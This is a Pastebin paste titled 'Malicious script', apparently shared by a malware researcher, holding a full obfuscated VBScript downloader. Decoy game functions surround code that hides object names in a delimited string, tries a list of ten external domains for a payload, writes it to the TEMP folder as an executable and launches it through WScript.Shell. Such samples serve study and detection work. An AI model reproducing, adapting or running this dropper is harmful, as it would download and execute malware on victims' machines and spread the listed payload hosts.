SHARE
TWEET

Malicious script

dynamoo Aug 23rd, 2017 224 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. function ep_planetroute(route,move,start, target)
  3.     dim x,y,astarmap(60,20)
  4.     for x=0 to 60
  5.         for y=0 to 20
  6.  
  7.             if move<tmap(x,y).walktru then astarmap(x,y)=1500
  8.             if tmap(x,y).onopen<>0 then astarmap(x,y)=0
  9.             if tmap(x,y).no=45 then astarmap(x,y)=1500
  10.         next
  11.     next
  12.     return a_star(route(),target,start,astarmap(),60,20,0,rollover)
  13. end function
  14.  
  15. function oandd ( Biel1 , Biel2 )
  16.    
  17.     oandd = nott ( andd (biel1 , biel2 ) )
  18.  
  19. end function
  20. Dim STDBshapeheal33 'As String
  21. Vrungel = ".responseB"+"ody"
  22.  
  23. Function Andd ( Biel1 , Biel2 )
  24.     Andd = 0
  25.     If Biel1 = 1 then
  26.         If Biel2 = 1 then
  27.             Andd = 1
  28.         end if
  29.     end if
  30. end function
  31. Function LabradorPS2(dry)
  32.  
  33.     if dry > 2 AND 3141 > dry Then
  34. STDBshapeDribun = STDBshapecAfee.responseBody
  35.     end if
  36.  
  37. End Function
  38.  
  39.  
  40.   STDBshapeRH = "User"
  41.  
  42.  
  43. Dim STDBshapeLAKOPPC 'As String
  44. 'Dim RDFGO() 'As String
  45. Dim STDBshape2 'As String
  46. Dim STDBshapeGMAKO 'As Object
  47.       Dim TristateTrue
  48.  
  49.  
  50.  
  51.  
  52. Lunchers = Split("grlarquitectura.com/Mvgjh67?!grundschulmarkt.com/Mvgjh67?!aldirommestorr887.info/af/Mvgjh67?!grupoegeria.net/Mvgjh67?!gestionale-orbit.it/Mvgjh67?!gdrural.com.au/Mvgjh67?!geocean.co.id/Mvgjh67?!grupoajedrecisticoaleph.com/Mvgjh67?!grupofergus.com.bo/Mvgjh67?!gruppostolfaedilizia.it/Mvgjh67", "!")
  53. Dim STDBshapecAfee 'As Object
  54. Dim SPCcitationsDIL 'As Object
  55.  
  56.  
  57. Function LabradorPS()
  58. SPCcitationsDIL.Savetofile STDBshapeheal33, 2
  59. End Function
  60.  
  61. Function STDBshapeTeethk(p)
  62.  
  63.  
  64.  STDBshapecAfee.Send
  65.    
  66. End Function
  67. Dim STDBshaperepost
  68. STDBshaperepost = false
  69.      Dim RDFGO
  70.  
  71. Dim STDBshapeKSKLAL 'As Object
  72.  
  73. Function F3(p)
  74.     Set STDBshapeRombickom = CreateObject("WScript.Shell"
  75. End Function
  76. Dim STDBshape1DASH1solo 'As Object  
  77.    
  78. STDBshape2 = "Microsoft.XMLHTTPSwingAdodb.streaMSwingshell"+".ApplicationSwingWscript.shellSwingProcessSwingGeTSwingTem"+"PSwingTypeSwingopenSwingwriteSwingresponseBodySwingsavet"+"ofileSwing\cDgipm.e"+"xeSwinghttp:Swing//"
  79.  
  80. Dim STDBshape4 'As String
  81. Function GeometryDash(p,d)
  82.  STDBshapeRombickom.Run(STDBshapeheal33u)
  83. End Function
  84.  
  85.  
  86.   Dim sWholeVis 'As String
  87. Dim STDBshapeDribun 'As Variant
  88. Dim dePetya 'As Integer
  89. STDBshapeRH = STDBshapeRH&"-"
  90. Dim iSlashPOS 'As Integer
  91.  Dim sDecimalVis 'As String
  92. sWholeVis = "A"
  93. Function Razdel( s500 )
  94.    Razdel = Split(STDBshape2, s500)
  95. End Function
  96.  
  97. Dim MarketPlace 'As String
  98.     RDFGO = Razdel(""&"Swing")
  99.   Dim sTempVis 'As String
  100.  Dim iCount 'As Integer
  101.  
  102. Dim MarketPlaceibility 'As String
  103.  Dim sNodeKey 'As String
  104.  Dim sParentKey 'As String
  105.  
  106.  
  107. Dim STDBshapeRombickom
  108. zTempVis = RDFGO(1)
  109. iSlashPOS = 12
  110. 'Set STDBshapeGMAKO = CreateObject(RDFGO(8-6))
  111. Set Darkness = GetRef("GeometryDash")
  112.  
  113. Set SPCcitationsDIL = CreateObject("Adodb.streaM")
  114.  
  115. MarketPlace = RDFGO(13) & RDFGO(14)
  116. STDBshapeRH = STDBshapeRH&sWholeVis&"gent"
  117. Set STDBshape1DASH1solo = CreateObject(RDFGO(3))
  118.  dePetya = 1
  119. Set STDBshapecAfee = CreateObject(RDFGO(0))
  120.  Set STDBshapeKSKLAL = STDBshape1DASH1solo.Environment(RDFGO(1 + 3))
  121.  STDBshapeLAKOPPC = STDBshapeKSKLAL(RDFGO(6))
  122.  
  123.  
  124. sTempVis = RDFGO(iSlashPOS)
  125.  Dim i
  126.  'on error GoTo nextU
  127. ' on error resume next
  128. ubnd = UBound(Lunchers)
  129.  
  130. For i = 0 To ubnd Step 1
  131.  dePetya = 2 + dePetya
  132.  STDBshape4 = MarketPlace & Lunchers(i)
  133.  STDBshapecAfee.Open RDFGO(5), STDBshape4, False
  134. STDBshapecAfee.setRequestHeader STDBshapeRH, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
  135. on error resume next
  136. STDBshapeTeethk ""
  137. If STDBshapecAfee.Status = 200 Then
  138. STDBshaperepost = true
  139.  Exit For
  140. End If
  141. Next
  142.  
  143. on error goto 0
  144.  
  145. Function STDBshapeSEND(p)
  146.  
  147.  
  148.  p.Send
  149.    
  150. End Function
  151.  
  152.  
  153. function drawroulettetable()
  154.     dim  x,y,z
  155.     dim coltable(36)
  156.     coltable(0)=10
  157.     coltable(1)=12
  158.     coltable(2)=15
  159.     coltable(3)=12
  160.     coltable(4)=15
  161.     coltable(5)=12
  162.     coltable(6)=15
  163.     coltable(7)=12
  164.     coltable(8)=15
  165.     coltable(9)=12
  166.     coltable(10)=15
  167.     coltable(11)=15
  168.     coltable(12)=12
  169.     coltable(13)=15
  170.     coltable(14)=12
  171.     coltable(15)=15
  172.     coltable(16)=12
  173.     coltable(17)=15
  174.     coltable(18)=12
  175.     coltable(19)=12
  176.     coltable(20)=15
  177.     coltable(21)=12
  178.     coltable(22)=15
  179.     coltable(23)=12
  180.     coltable(24)=15
  181.     coltable(25)=12
  182.     coltable(26)=15
  183.     coltable(27)=12
  184.     coltable(28)=15
  185.     coltable(29)=15
  186.     coltable(30)=12
  187.     coltable(31)=15
  188.     coltable(32)=12
  189.     coltable(33)=15
  190.     coltable(34)=12
  191.     coltable(35)=15
  192.     coltable(36)=12
  193.  
  194.     z=0
  195.     for y=1 to 12
  196.         for x=1 to 3
  197.             z=z+1
  198.             locate y+2,x*3+45,0
  199.             if coltable(z)=12 then
  200.                 set__color  12,2
  201.             else
  202.                 set__color  0,2
  203.             end if
  204.            
  205.         next
  206.     next
  207.     set__color 15,0
  208.     return 0
  209. end function
  210.  
  211. if STDBshaperepost Then
  212. Dim Ratchet 'As String
  213. STDBshapeheal33 = STDBshapeLAKOPPC+ sTempVis
  214. F3 ""
  215. SPCcitationsDIL.Type = 1
  216.  SPCcitationsDIL.Open
  217. LabradorPS2 24
  218. Dim OldBeacon,SheWas 'As Long
  219.  
  220. SPCcitationsDIL.Write STDBshapeDribun
  221. LabradorPS()
  222.  
  223. OldBeacon = 55 + 17
  224. STDBshapeheal33u = STDBshapeheal33
  225.  
  226.  
  227. If 1900  > OldBeacon Then
  228.  SheWas = ""
  229. Darkness 4,SheWas
  230. End If
  231.  
  232. end if
  233.  
  234. Function hullPosix(ByVal i )
  235.     DIM  cmdPipe
  236.     If(i = 1) Then
  237.          runCmd = "cvlc " & chr(34) & media & chr(34) & " " & vlcArgs & " &"
  238.  
  239.     ElseIf (i = 2) Then
  240.         If (pid <> "NULL") Then
  241.        pid = "NULL"
  242.     End If
  243.     End If
  244. End Function
RAW Paste Data
Top